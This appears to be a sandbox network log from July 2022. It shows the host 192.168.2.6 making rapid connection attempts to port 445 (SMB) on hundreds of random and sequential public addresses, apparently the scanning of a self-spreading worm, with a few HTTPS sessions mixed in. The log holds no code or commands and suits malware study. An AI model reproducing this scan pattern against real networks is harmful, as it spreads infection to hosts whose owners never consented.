Jul 20, 2022 06:07:04.622648001 CEST	50996	445	192.168.2.6	37.21.160.20
Jul 20, 2022 06:07:04.719018936 CEST	445	50996	37.21.160.20	192.168.2.6
Jul 20, 2022 06:07:05.077795029 CEST	51029	445	192.168.2.6	178.159.42.20
Jul 20, 2022 06:07:05.078562021 CEST	51030	445	192.168.2.6	37.21.160.21
Jul 20, 2022 06:07:05.142987967 CEST	51031	445	192.168.2.6	13.20.71.36
Jul 20, 2022 06:07:05.143073082 CEST	51033	445	192.168.2.6	27.29.20.63
Jul 20, 2022 06:07:05.143100023 CEST	51032	445	192.168.2.6	203.142.35.14
Jul 20, 2022 06:07:05.143188000 CEST	51034	445	192.168.2.6	66.164.213.234
Jul 20, 2022 06:07:05.143232107 CEST	51035	445	192.168.2.6	1.166.8.131
Jul 20, 2022 06:07:05.143296003 CEST	51036	445	192.168.2.6	201.221.90.23
Jul 20, 2022 06:07:05.143349886 CEST	51037	445	192.168.2.6	47.133.73.173
Jul 20, 2022 06:07:05.248686075 CEST	51038	445	192.168.2.6	61.217.134.8
Jul 20, 2022 06:07:05.249505043 CEST	51039	445	192.168.2.6	134.129.92.167
Jul 20, 2022 06:07:05.250046968 CEST	51040	445	192.168.2.6	42.52.65.20
Jul 20, 2022 06:07:05.250597954 CEST	51041	445	192.168.2.6	153.234.253.225
Jul 20, 2022 06:07:05.251111984 CEST	51042	445	192.168.2.6	220.231.107.223
Jul 20, 2022 06:07:05.251631975 CEST	51043	445	192.168.2.6	191.204.153.2
Jul 20, 2022 06:07:05.252120018 CEST	51044	445	192.168.2.6	152.4.226.6
Jul 20, 2022 06:07:05.252644062 CEST	51045	445	192.168.2.6	131.117.25.198
Jul 20, 2022 06:07:05.253130913 CEST	51046	445	192.168.2.6	124.102.210.107
Jul 20, 2022 06:07:05.253622055 CEST	51047	445	192.168.2.6	70.82.1.231
Jul 20, 2022 06:07:05.254147053 CEST	51048	445	192.168.2.6	10.22.202.115
Jul 20, 2022 06:07:05.254712105 CEST	51049	445	192.168.2.6	136.45.79.246
Jul 20, 2022 06:07:05.255522013 CEST	51050	445	192.168.2.6	102.193.101.129
Jul 20, 2022 06:07:05.256284952 CEST	51051	445	192.168.2.6	145.21.79.176
Jul 20, 2022 06:07:05.256983995 CEST	51052	445	192.168.2.6	41.149.170.191
Jul 20, 2022 06:07:05.257675886 CEST	51053	445	192.168.2.6	190.47.223.85
Jul 20, 2022 06:07:05.258626938 CEST	51054	445	192.168.2.6	18.159.52.99
Jul 20, 2022 06:07:05.259356976 CEST	51055	445	192.168.2.6	214.34.43.232
Jul 20, 2022 06:07:05.260073900 CEST	51056	445	192.168.2.6	21.111.196.55
Jul 20, 2022 06:07:05.260788918 CEST	51057	445	192.168.2.6	34.163.171.124
Jul 20, 2022 06:07:05.261455059 CEST	51058	445	192.168.2.6	155.64.144.144
Jul 20, 2022 06:07:05.262125969 CEST	51059	445	192.168.2.6	193.147.171.230
Jul 20, 2022 06:07:05.262823105 CEST	51060	445	192.168.2.6	175.35.24.40
Jul 20, 2022 06:07:05.556327105 CEST	445	51046	124.102.210.107	192.168.2.6
Jul 20, 2022 06:07:06.154030085 CEST	51046	445	192.168.2.6	124.102.210.107
Jul 20, 2022 06:07:06.191797972 CEST	51063	445	192.168.2.6	37.21.160.22
Jul 20, 2022 06:07:06.192303896 CEST	51064	445	192.168.2.6	178.159.42.21
Jul 20, 2022 06:07:06.264640093 CEST	51065	445	192.168.2.6	64.51.240.170
Jul 20, 2022 06:07:06.265558004 CEST	51066	445	192.168.2.6	192.181.24.57
Jul 20, 2022 06:07:06.266406059 CEST	51067	445	192.168.2.6	72.137.33.164
Jul 20, 2022 06:07:06.267312050 CEST	51068	445	192.168.2.6	20.138.76.171
Jul 20, 2022 06:07:06.268019915 CEST	51069	445	192.168.2.6	187.139.250.190
Jul 20, 2022 06:07:06.268769979 CEST	51070	445	192.168.2.6	212.75.247.178
Jul 20, 2022 06:07:06.269495964 CEST	51071	445	192.168.2.6	118.247.36.121
Jul 20, 2022 06:07:06.358557940 CEST	51072	445	192.168.2.6	84.97.60.173
Jul 20, 2022 06:07:06.359371901 CEST	51073	445	192.168.2.6	119.131.212.85
Jul 20, 2022 06:07:06.384624958 CEST	51074	445	192.168.2.6	38.6.110.143
Jul 20, 2022 06:07:06.384773016 CEST	51075	445	192.168.2.6	98.196.119.136
Jul 20, 2022 06:07:06.384877920 CEST	51076	445	192.168.2.6	140.113.155.103
Jul 20, 2022 06:07:06.385153055 CEST	51078	445	192.168.2.6	93.21.68.109
Jul 20, 2022 06:07:06.385274887 CEST	51079	445	192.168.2.6	54.50.49.226
Jul 20, 2022 06:07:06.385546923 CEST	51081	445	192.168.2.6	79.36.17.11
Jul 20, 2022 06:07:06.385667086 CEST	51082	445	192.168.2.6	155.108.49.211
Jul 20, 2022 06:07:06.385782957 CEST	51083	445	192.168.2.6	151.176.40.203
Jul 20, 2022 06:07:06.385895967 CEST	51084	445	192.168.2.6	183.140.144.17
Jul 20, 2022 06:07:06.386017084 CEST	51085	445	192.168.2.6	140.124.167.150
Jul 20, 2022 06:07:06.386131048 CEST	51086	445	192.168.2.6	187.128.234.28
Jul 20, 2022 06:07:06.386254072 CEST	51087	445	192.168.2.6	61.94.241.62
Jul 20, 2022 06:07:06.386363983 CEST	51088	445	192.168.2.6	130.182.202.112
Jul 20, 2022 06:07:06.386508942 CEST	51089	445	192.168.2.6	113.188.80.16
Jul 20, 2022 06:07:06.386652946 CEST	51090	445	192.168.2.6	102.193.211.27
Jul 20, 2022 06:07:06.386770010 CEST	51091	445	192.168.2.6	135.95.192.171
Jul 20, 2022 06:07:06.386888981 CEST	51092	445	192.168.2.6	78.120.99.223
Jul 20, 2022 06:07:06.386995077 CEST	51077	445	192.168.2.6	10.31.248.94
Jul 20, 2022 06:07:06.387017012 CEST	51080	445	192.168.2.6	109.46.236.32
Jul 20, 2022 06:07:06.387032032 CEST	51093	445	192.168.2.6	214.187.208.184
Jul 20, 2022 06:07:06.387120008 CEST	51094	445	192.168.2.6	207.62.85.122
Jul 20, 2022 06:07:06.460073948 CEST	445	51046	124.102.210.107	192.168.2.6
Jul 20, 2022 06:07:06.562541008 CEST	445	51094	207.62.85.122	192.168.2.6
Jul 20, 2022 06:07:07.154104948 CEST	51094	445	192.168.2.6	207.62.85.122
Jul 20, 2022 06:07:07.249125957 CEST	51096	445	192.168.2.6	178.159.42.22
Jul 20, 2022 06:07:07.249233007 CEST	51097	445	192.168.2.6	37.21.160.23
Jul 20, 2022 06:07:07.278027058 CEST	445	51096	178.159.42.22	192.168.2.6
Jul 20, 2022 06:07:07.326704979 CEST	445	51094	207.62.85.122	192.168.2.6
Jul 20, 2022 06:07:07.389419079 CEST	51099	445	192.168.2.6	45.188.172.82
Jul 20, 2022 06:07:07.390515089 CEST	51100	445	192.168.2.6	23.206.83.166
Jul 20, 2022 06:07:07.391546011 CEST	51101	445	192.168.2.6	113.74.134.84
Jul 20, 2022 06:07:07.392846107 CEST	51102	445	192.168.2.6	136.176.23.99
Jul 20, 2022 06:07:07.394320965 CEST	51103	445	192.168.2.6	48.101.237.226
Jul 20, 2022 06:07:07.395478964 CEST	51104	445	192.168.2.6	53.199.118.76
Jul 20, 2022 06:07:07.396290064 CEST	51105	445	192.168.2.6	209.149.173.124
Jul 20, 2022 06:07:07.483551979 CEST	51106	445	192.168.2.6	59.71.209.170
Jul 20, 2022 06:07:07.485799074 CEST	51107	445	192.168.2.6	165.173.169.88
Jul 20, 2022 06:07:07.487931013 CEST	51108	445	192.168.2.6	128.214.246.163
Jul 20, 2022 06:07:07.497570038 CEST	51109	445	192.168.2.6	188.151.230.18
Jul 20, 2022 06:07:07.497796059 CEST	51111	445	192.168.2.6	142.173.217.60
Jul 20, 2022 06:07:07.499138117 CEST	51112	445	192.168.2.6	179.169.64.134
Jul 20, 2022 06:07:07.499300003 CEST	51113	445	192.168.2.6	69.55.215.180
Jul 20, 2022 06:07:07.499428988 CEST	51110	445	192.168.2.6	97.205.250.70
Jul 20, 2022 06:07:07.499450922 CEST	51114	445	192.168.2.6	74.67.112.151
Jul 20, 2022 06:07:07.499505997 CEST	51115	445	192.168.2.6	43.57.152.135
Jul 20, 2022 06:07:07.499618053 CEST	51116	445	192.168.2.6	96.63.170.226
Jul 20, 2022 06:07:07.499838114 CEST	51117	445	192.168.2.6	214.95.28.131
Jul 20, 2022 06:07:07.499850035 CEST	51118	445	192.168.2.6	157.174.199.163
Jul 20, 2022 06:07:07.500009060 CEST	51119	445	192.168.2.6	52.27.104.35
Jul 20, 2022 06:07:07.500034094 CEST	51120	445	192.168.2.6	96.84.190.13
Jul 20, 2022 06:07:07.500144958 CEST	51121	445	192.168.2.6	33.44.178.167
Jul 20, 2022 06:07:07.500359058 CEST	51122	445	192.168.2.6	195.122.14.167
Jul 20, 2022 06:07:07.500385046 CEST	51123	445	192.168.2.6	145.14.13.73
Jul 20, 2022 06:07:07.500473976 CEST	51124	445	192.168.2.6	138.218.12.163
Jul 20, 2022 06:07:07.500559092 CEST	51125	445	192.168.2.6	13.118.150.92
Jul 20, 2022 06:07:07.500648975 CEST	51126	445	192.168.2.6	219.101.134.30
Jul 20, 2022 06:07:07.530920029 CEST	51127	445	192.168.2.6	1.143.87.53
Jul 20, 2022 06:07:07.530970097 CEST	51128	445	192.168.2.6	61.118.8.74
Jul 20, 2022 06:07:07.702212095 CEST	445	51113	69.55.215.180	192.168.2.6
Jul 20, 2022 06:07:07.966706991 CEST	51096	445	192.168.2.6	178.159.42.22
Jul 20, 2022 06:07:07.993366957 CEST	445	51096	178.159.42.22	192.168.2.6
Jul 20, 2022 06:07:08.310502052 CEST	51113	445	192.168.2.6	69.55.215.180
Jul 20, 2022 06:07:08.344938040 CEST	51131	445	192.168.2.6	37.21.160.24
Jul 20, 2022 06:07:08.345664024 CEST	51132	445	192.168.2.6	178.159.42.23
Jul 20, 2022 06:07:08.524580956 CEST	445	51113	69.55.215.180	192.168.2.6
Jul 20, 2022 06:07:08.546008110 CEST	51134	445	192.168.2.6	105.53.149.106
Jul 20, 2022 06:07:08.547013044 CEST	51135	445	192.168.2.6	132.229.198.94
Jul 20, 2022 06:07:08.547750950 CEST	51136	445	192.168.2.6	57.73.73.36
Jul 20, 2022 06:07:08.548543930 CEST	51137	445	192.168.2.6	148.226.156.37
Jul 20, 2022 06:07:08.549763918 CEST	51138	445	192.168.2.6	58.248.131.218
Jul 20, 2022 06:07:08.550311089 CEST	51139	445	192.168.2.6	71.43.28.19
Jul 20, 2022 06:07:08.550379038 CEST	51140	445	192.168.2.6	162.226.137.160
Jul 20, 2022 06:07:08.618808985 CEST	51141	445	192.168.2.6	11.49.160.56
Jul 20, 2022 06:07:08.619749069 CEST	51143	445	192.168.2.6	105.167.154.115
Jul 20, 2022 06:07:08.620528936 CEST	51142	445	192.168.2.6	5.38.241.79
Jul 20, 2022 06:07:08.647994995 CEST	51144	445	192.168.2.6	157.166.206.161
Jul 20, 2022 06:07:08.648026943 CEST	51145	445	192.168.2.6	179.45.109.112
Jul 20, 2022 06:07:08.648593903 CEST	51147	445	192.168.2.6	160.116.108.114
Jul 20, 2022 06:07:08.648688078 CEST	51149	445	192.168.2.6	105.96.43.76
Jul 20, 2022 06:07:08.648694992 CEST	51148	445	192.168.2.6	206.251.177.24
Jul 20, 2022 06:07:08.648828983 CEST	51150	445	192.168.2.6	83.84.242.233
Jul 20, 2022 06:07:08.648905039 CEST	51152	445	192.168.2.6	206.180.216.193
Jul 20, 2022 06:07:08.648966074 CEST	51153	445	192.168.2.6	101.189.42.170
Jul 20, 2022 06:07:08.649024010 CEST	51154	445	192.168.2.6	185.177.162.60
Jul 20, 2022 06:07:08.649116993 CEST	51155	445	192.168.2.6	2.23.180.190
Jul 20, 2022 06:07:08.649138927 CEST	51156	445	192.168.2.6	182.96.184.19
Jul 20, 2022 06:07:08.649266005 CEST	51157	445	192.168.2.6	18.99.238.141
Jul 20, 2022 06:07:08.649328947 CEST	51158	445	192.168.2.6	209.109.227.134
Jul 20, 2022 06:07:08.649408102 CEST	51160	445	192.168.2.6	149.85.50.165
Jul 20, 2022 06:07:08.649442911 CEST	51146	445	192.168.2.6	30.197.86.105
Jul 20, 2022 06:07:08.649471045 CEST	51151	445	192.168.2.6	89.96.232.207
Jul 20, 2022 06:07:08.649580002 CEST	51159	445	192.168.2.6	23.35.217.137
Jul 20, 2022 06:07:08.649811983 CEST	51162	445	192.168.2.6	33.252.95.67
Jul 20, 2022 06:07:08.649836063 CEST	51161	445	192.168.2.6	91.9.178.141
Jul 20, 2022 06:07:08.652021885 CEST	51163	445	192.168.2.6	221.243.151.217
Jul 20, 2022 06:07:09.405684948 CEST	51167	445	192.168.2.6	178.159.42.24
Jul 20, 2022 06:07:09.405685902 CEST	51166	445	192.168.2.6	37.21.160.25
Jul 20, 2022 06:07:09.656264067 CEST	51169	445	192.168.2.6	67.125.79.188
Jul 20, 2022 06:07:09.657485962 CEST	51170	445	192.168.2.6	189.156.187.113
Jul 20, 2022 06:07:09.659962893 CEST	51171	445	192.168.2.6	121.68.201.85
Jul 20, 2022 06:07:09.661528111 CEST	51173	445	192.168.2.6	124.68.17.81
Jul 20, 2022 06:07:09.661639929 CEST	51174	445	192.168.2.6	76.210.18.237
Jul 20, 2022 06:07:09.661648989 CEST	51172	445	192.168.2.6	201.84.2.249
Jul 20, 2022 06:07:09.661698103 CEST	51175	445	192.168.2.6	9.127.117.75
Jul 20, 2022 06:07:09.770626068 CEST	51176	445	192.168.2.6	116.235.215.162
Jul 20, 2022 06:07:09.783679008 CEST	51177	445	192.168.2.6	219.113.41.200
Jul 20, 2022 06:07:09.783879995 CEST	51179	445	192.168.2.6	44.236.82.14
Jul 20, 2022 06:07:09.783974886 CEST	51178	445	192.168.2.6	154.78.254.121
Jul 20, 2022 06:07:09.784002066 CEST	51180	445	192.168.2.6	189.139.201.62
Jul 20, 2022 06:07:09.784111023 CEST	51181	445	192.168.2.6	26.86.164.128
Jul 20, 2022 06:07:09.784131050 CEST	51182	445	192.168.2.6	167.79.226.201
Jul 20, 2022 06:07:09.784265041 CEST	51184	445	192.168.2.6	221.120.39.217
Jul 20, 2022 06:07:09.784272909 CEST	51183	445	192.168.2.6	145.71.201.131
Jul 20, 2022 06:07:09.784395933 CEST	51185	445	192.168.2.6	191.196.70.126
Jul 20, 2022 06:07:09.784523010 CEST	51187	445	192.168.2.6	66.241.254.225
Jul 20, 2022 06:07:09.784523010 CEST	51186	445	192.168.2.6	85.73.19.77
Jul 20, 2022 06:07:09.784655094 CEST	51188	445	192.168.2.6	57.224.66.230
Jul 20, 2022 06:07:09.784657955 CEST	51189	445	192.168.2.6	103.194.128.151
Jul 20, 2022 06:07:09.784672976 CEST	51190	445	192.168.2.6	49.77.236.234
Jul 20, 2022 06:07:09.784781933 CEST	51191	445	192.168.2.6	168.94.201.62
Jul 20, 2022 06:07:09.784796000 CEST	51192	445	192.168.2.6	115.189.21.240
Jul 20, 2022 06:07:09.784914017 CEST	51193	445	192.168.2.6	175.247.187.148
Jul 20, 2022 06:07:09.784933090 CEST	51194	445	192.168.2.6	1.116.14.178
Jul 20, 2022 06:07:09.785064936 CEST	51195	445	192.168.2.6	52.220.234.178
Jul 20, 2022 06:07:09.785083055 CEST	51196	445	192.168.2.6	188.250.43.96
Jul 20, 2022 06:07:09.785187960 CEST	51197	445	192.168.2.6	201.104.11.54
Jul 20, 2022 06:07:09.785229921 CEST	51198	445	192.168.2.6	65.35.88.114
Jul 20, 2022 06:07:10.483472109 CEST	51202	445	192.168.2.6	178.159.42.25
Jul 20, 2022 06:07:10.484167099 CEST	51203	445	192.168.2.6	37.21.160.26
Jul 20, 2022 06:07:10.580493927 CEST	445	51185	191.196.70.126	192.168.2.6
Jul 20, 2022 06:07:10.784607887 CEST	51205	445	192.168.2.6	68.188.110.107
Jul 20, 2022 06:07:10.785693884 CEST	51206	445	192.168.2.6	96.181.228.68
Jul 20, 2022 06:07:10.785804033 CEST	51207	445	192.168.2.6	172.211.115.21
Jul 20, 2022 06:07:10.785865068 CEST	51208	445	192.168.2.6	212.41.27.218
Jul 20, 2022 06:07:10.785944939 CEST	51209	445	192.168.2.6	193.107.212.246
Jul 20, 2022 06:07:10.786063910 CEST	51210	445	192.168.2.6	138.211.38.13
Jul 20, 2022 06:07:10.786173105 CEST	51211	445	192.168.2.6	56.108.223.180
Jul 20, 2022 06:07:10.874528885 CEST	51212	445	192.168.2.6	47.246.149.49
Jul 20, 2022 06:07:10.895306110 CEST	51213	445	192.168.2.6	76.209.0.56
Jul 20, 2022 06:07:10.898977041 CEST	51214	445	192.168.2.6	58.164.199.136
Jul 20, 2022 06:07:10.899106979 CEST	51216	445	192.168.2.6	16.36.170.20
Jul 20, 2022 06:07:10.899112940 CEST	51215	445	192.168.2.6	181.81.5.189
Jul 20, 2022 06:07:10.899143934 CEST	51217	445	192.168.2.6	54.191.161.116
Jul 20, 2022 06:07:10.899240971 CEST	51218	445	192.168.2.6	89.16.176.237
Jul 20, 2022 06:07:10.899333000 CEST	51220	445	192.168.2.6	189.84.44.96
Jul 20, 2022 06:07:10.899477959 CEST	51219	445	192.168.2.6	22.208.237.196
Jul 20, 2022 06:07:10.899482965 CEST	51221	445	192.168.2.6	30.254.62.165
Jul 20, 2022 06:07:10.899503946 CEST	51222	445	192.168.2.6	182.70.145.116
Jul 20, 2022 06:07:10.899578094 CEST	51223	445	192.168.2.6	83.114.73.158
Jul 20, 2022 06:07:10.899702072 CEST	51224	445	192.168.2.6	107.247.44.202
Jul 20, 2022 06:07:10.899732113 CEST	51225	445	192.168.2.6	81.221.167.43
Jul 20, 2022 06:07:10.899735928 CEST	51226	445	192.168.2.6	48.250.177.220
Jul 20, 2022 06:07:10.899785042 CEST	51227	445	192.168.2.6	217.105.171.89
Jul 20, 2022 06:07:10.899846077 CEST	51228	445	192.168.2.6	212.58.77.23
Jul 20, 2022 06:07:10.899919033 CEST	51229	445	192.168.2.6	105.70.14.90
Jul 20, 2022 06:07:10.899957895 CEST	51230	445	192.168.2.6	91.11.64.169
Jul 20, 2022 06:07:10.900053024 CEST	51232	445	192.168.2.6	28.21.8.167
Jul 20, 2022 06:07:10.900070906 CEST	51231	445	192.168.2.6	179.68.37.2
Jul 20, 2022 06:07:10.900194883 CEST	51233	445	192.168.2.6	136.78.35.16
Jul 20, 2022 06:07:11.542814016 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.542855978 CEST	443	51238	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:11.542953968 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.543744087 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.543764114 CEST	443	51238	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:11.546346903 CEST	51239	445	192.168.2.6	178.159.42.26
Jul 20, 2022 06:07:11.547476053 CEST	51240	445	192.168.2.6	37.21.160.27
Jul 20, 2022 06:07:11.666898012 CEST	443	51238	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:11.667090893 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.670329094 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.670356989 CEST	443	51238	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:11.670718908 CEST	443	51238	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:11.696664095 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.696989059 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.697001934 CEST	443	51238	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:11.697185040 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.728022099 CEST	443	51238	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:11.728117943 CEST	443	51238	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:11.728219986 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.728317022 CEST	51238	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:11.974844933 CEST	51242	445	192.168.2.6	18.2.174.226
Jul 20, 2022 06:07:11.977092981 CEST	51243	445	192.168.2.6	8.49.247.155
Jul 20, 2022 06:07:11.977193117 CEST	51244	445	192.168.2.6	130.248.26.179
Jul 20, 2022 06:07:11.977297068 CEST	51245	445	192.168.2.6	18.209.215.56
Jul 20, 2022 06:07:11.977497101 CEST	51246	445	192.168.2.6	169.201.167.49
Jul 20, 2022 06:07:11.977730036 CEST	51247	445	192.168.2.6	10.39.175.196
Jul 20, 2022 06:07:11.977854967 CEST	51248	445	192.168.2.6	9.4.11.21
Jul 20, 2022 06:07:12.001595020 CEST	51249	445	192.168.2.6	1.125.67.245
Jul 20, 2022 06:07:12.029740095 CEST	51250	445	192.168.2.6	195.210.164.28
Jul 20, 2022 06:07:12.029843092 CEST	51251	445	192.168.2.6	6.15.110.177
Jul 20, 2022 06:07:12.029954910 CEST	51252	445	192.168.2.6	129.55.164.29
Jul 20, 2022 06:07:12.030055046 CEST	51253	445	192.168.2.6	80.156.246.11
Jul 20, 2022 06:07:12.030253887 CEST	51255	445	192.168.2.6	5.166.179.33
Jul 20, 2022 06:07:12.030350924 CEST	51256	445	192.168.2.6	17.148.72.30
Jul 20, 2022 06:07:12.030482054 CEST	51257	445	192.168.2.6	223.123.252.86
Jul 20, 2022 06:07:12.030539036 CEST	51258	445	192.168.2.6	119.115.134.58
Jul 20, 2022 06:07:12.030806065 CEST	51259	445	192.168.2.6	218.102.146.233
Jul 20, 2022 06:07:12.030960083 CEST	51260	445	192.168.2.6	212.2.58.225
Jul 20, 2022 06:07:12.031056881 CEST	51261	445	192.168.2.6	126.244.37.185
Jul 20, 2022 06:07:12.031167030 CEST	51254	445	192.168.2.6	188.39.5.61
Jul 20, 2022 06:07:12.031255007 CEST	51263	445	192.168.2.6	124.1.160.81
Jul 20, 2022 06:07:12.031347036 CEST	51264	445	192.168.2.6	60.11.50.179
Jul 20, 2022 06:07:12.031392097 CEST	51262	445	192.168.2.6	35.240.47.145
Jul 20, 2022 06:07:12.031459093 CEST	51265	445	192.168.2.6	114.4.46.164
Jul 20, 2022 06:07:12.031565905 CEST	51266	445	192.168.2.6	158.2.226.94
Jul 20, 2022 06:07:12.031703949 CEST	51267	445	192.168.2.6	123.148.179.161
Jul 20, 2022 06:07:12.031784058 CEST	51268	445	192.168.2.6	108.84.32.143
Jul 20, 2022 06:07:12.032005072 CEST	51269	445	192.168.2.6	91.172.117.24
Jul 20, 2022 06:07:12.032128096 CEST	51270	445	192.168.2.6	133.63.204.254
Jul 20, 2022 06:07:12.032546997 CEST	51271	445	192.168.2.6	119.242.108.97
Jul 20, 2022 06:07:12.618835926 CEST	51275	445	192.168.2.6	37.21.160.28
Jul 20, 2022 06:07:12.687006950 CEST	51276	445	192.168.2.6	178.159.42.27
Jul 20, 2022 06:07:13.103921890 CEST	51279	445	192.168.2.6	41.100.215.59
Jul 20, 2022 06:07:13.104674101 CEST	51280	445	192.168.2.6	173.181.101.157
Jul 20, 2022 06:07:13.105413914 CEST	51281	445	192.168.2.6	9.227.40.216
Jul 20, 2022 06:07:13.106136084 CEST	51282	445	192.168.2.6	223.205.79.18
Jul 20, 2022 06:07:13.106842995 CEST	51283	445	192.168.2.6	98.226.62.236
Jul 20, 2022 06:07:13.107536077 CEST	51284	445	192.168.2.6	32.223.167.134
Jul 20, 2022 06:07:13.108206987 CEST	51285	445	192.168.2.6	217.183.127.54
Jul 20, 2022 06:07:13.127140045 CEST	51286	445	192.168.2.6	40.25.53.154
Jul 20, 2022 06:07:13.183686972 CEST	51288	445	192.168.2.6	193.107.223.180
Jul 20, 2022 06:07:13.184086084 CEST	51287	445	192.168.2.6	133.47.189.82
Jul 20, 2022 06:07:13.184822083 CEST	51289	445	192.168.2.6	167.185.96.3
Jul 20, 2022 06:07:13.184940100 CEST	51290	445	192.168.2.6	16.22.43.41
Jul 20, 2022 06:07:13.185045004 CEST	51291	445	192.168.2.6	49.92.129.112
Jul 20, 2022 06:07:13.185133934 CEST	51292	445	192.168.2.6	62.172.165.71
Jul 20, 2022 06:07:13.185231924 CEST	51293	445	192.168.2.6	102.92.89.224
Jul 20, 2022 06:07:13.185427904 CEST	51294	445	192.168.2.6	16.200.245.232
Jul 20, 2022 06:07:13.185518026 CEST	51295	445	192.168.2.6	205.86.105.102
Jul 20, 2022 06:07:13.185621977 CEST	51296	445	192.168.2.6	150.14.119.99
Jul 20, 2022 06:07:13.185702085 CEST	51297	445	192.168.2.6	85.50.126.61
Jul 20, 2022 06:07:13.185828924 CEST	51298	445	192.168.2.6	92.154.67.139
Jul 20, 2022 06:07:13.185854912 CEST	51299	445	192.168.2.6	135.222.63.98
Jul 20, 2022 06:07:13.185928106 CEST	51300	445	192.168.2.6	208.182.10.39
Jul 20, 2022 06:07:13.185992956 CEST	51301	445	192.168.2.6	4.218.80.207
Jul 20, 2022 06:07:13.186039925 CEST	51302	445	192.168.2.6	179.4.110.189
Jul 20, 2022 06:07:13.186085939 CEST	51303	445	192.168.2.6	60.192.123.163
Jul 20, 2022 06:07:13.186212063 CEST	51304	445	192.168.2.6	163.139.128.147
Jul 20, 2022 06:07:13.186234951 CEST	51305	445	192.168.2.6	50.25.12.189
Jul 20, 2022 06:07:13.186386108 CEST	51306	445	192.168.2.6	31.18.143.110
Jul 20, 2022 06:07:13.186399937 CEST	51307	445	192.168.2.6	80.147.188.56
Jul 20, 2022 06:07:13.186453104 CEST	51308	445	192.168.2.6	51.56.223.197
Jul 20, 2022 06:07:13.300621986 CEST	445	51282	223.205.79.18	192.168.2.6
Jul 20, 2022 06:07:13.489789963 CEST	445	51302	179.4.110.189	192.168.2.6
Jul 20, 2022 06:07:13.672101021 CEST	51312	445	192.168.2.6	37.21.160.29
Jul 20, 2022 06:07:13.753523111 CEST	51313	445	192.168.2.6	178.159.42.28
Jul 20, 2022 06:07:13.813118935 CEST	51282	445	192.168.2.6	223.205.79.18
Jul 20, 2022 06:07:14.009062052 CEST	445	51282	223.205.79.18	192.168.2.6
Jul 20, 2022 06:07:14.057806969 CEST	51302	445	192.168.2.6	179.4.110.189
Jul 20, 2022 06:07:14.242501974 CEST	51317	445	192.168.2.6	139.54.54.28
Jul 20, 2022 06:07:14.243166924 CEST	51318	445	192.168.2.6	146.126.56.195
Jul 20, 2022 06:07:14.243815899 CEST	51319	445	192.168.2.6	11.81.54.103
Jul 20, 2022 06:07:14.244494915 CEST	51320	445	192.168.2.6	67.205.253.170
Jul 20, 2022 06:07:14.245152950 CEST	51321	445	192.168.2.6	189.61.174.155
Jul 20, 2022 06:07:14.245879889 CEST	51322	445	192.168.2.6	141.135.254.206
Jul 20, 2022 06:07:14.246617079 CEST	51323	445	192.168.2.6	50.61.42.77
Jul 20, 2022 06:07:14.247380018 CEST	51324	445	192.168.2.6	27.51.101.204
Jul 20, 2022 06:07:14.303148031 CEST	51325	445	192.168.2.6	210.93.74.129
Jul 20, 2022 06:07:14.303895950 CEST	51326	445	192.168.2.6	61.158.190.171
Jul 20, 2022 06:07:14.304646015 CEST	51327	445	192.168.2.6	2.145.146.51
Jul 20, 2022 06:07:14.305331945 CEST	51328	445	192.168.2.6	91.28.244.142
Jul 20, 2022 06:07:14.306011915 CEST	51329	445	192.168.2.6	157.142.97.23
Jul 20, 2022 06:07:14.306668997 CEST	51330	445	192.168.2.6	189.124.8.144
Jul 20, 2022 06:07:14.307336092 CEST	51331	445	192.168.2.6	68.85.5.108
Jul 20, 2022 06:07:14.307992935 CEST	51332	445	192.168.2.6	206.147.205.41
Jul 20, 2022 06:07:14.308685064 CEST	51333	445	192.168.2.6	118.189.44.186
Jul 20, 2022 06:07:14.330252886 CEST	51335	445	192.168.2.6	160.25.144.208
Jul 20, 2022 06:07:14.332951069 CEST	51336	445	192.168.2.6	71.99.64.82
Jul 20, 2022 06:07:14.333064079 CEST	51337	445	192.168.2.6	22.208.90.235
Jul 20, 2022 06:07:14.333117008 CEST	51338	445	192.168.2.6	134.94.73.144
Jul 20, 2022 06:07:14.333173037 CEST	51339	445	192.168.2.6	35.26.155.248
Jul 20, 2022 06:07:14.333252907 CEST	51342	445	192.168.2.6	44.171.250.164
Jul 20, 2022 06:07:14.333268881 CEST	51340	445	192.168.2.6	5.139.46.45
Jul 20, 2022 06:07:14.333386898 CEST	51343	445	192.168.2.6	120.49.105.75
Jul 20, 2022 06:07:14.333451986 CEST	51341	445	192.168.2.6	87.188.81.168
Jul 20, 2022 06:07:14.333532095 CEST	51344	445	192.168.2.6	193.86.31.26
Jul 20, 2022 06:07:14.333549976 CEST	51345	445	192.168.2.6	28.239.100.145
Jul 20, 2022 06:07:14.333647966 CEST	51346	445	192.168.2.6	195.47.176.198
Jul 20, 2022 06:07:14.333740950 CEST	51347	445	192.168.2.6	193.159.43.68
Jul 20, 2022 06:07:14.361413956 CEST	445	51302	179.4.110.189	192.168.2.6
Jul 20, 2022 06:07:14.747849941 CEST	51350	445	192.168.2.6	37.21.160.30
Jul 20, 2022 06:07:14.807742119 CEST	51351	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:14.807801962 CEST	443	51351	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:14.807888985 CEST	51351	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:14.812979937 CEST	51351	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:14.813021898 CEST	443	51351	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:14.850353956 CEST	51352	445	192.168.2.6	178.159.42.29
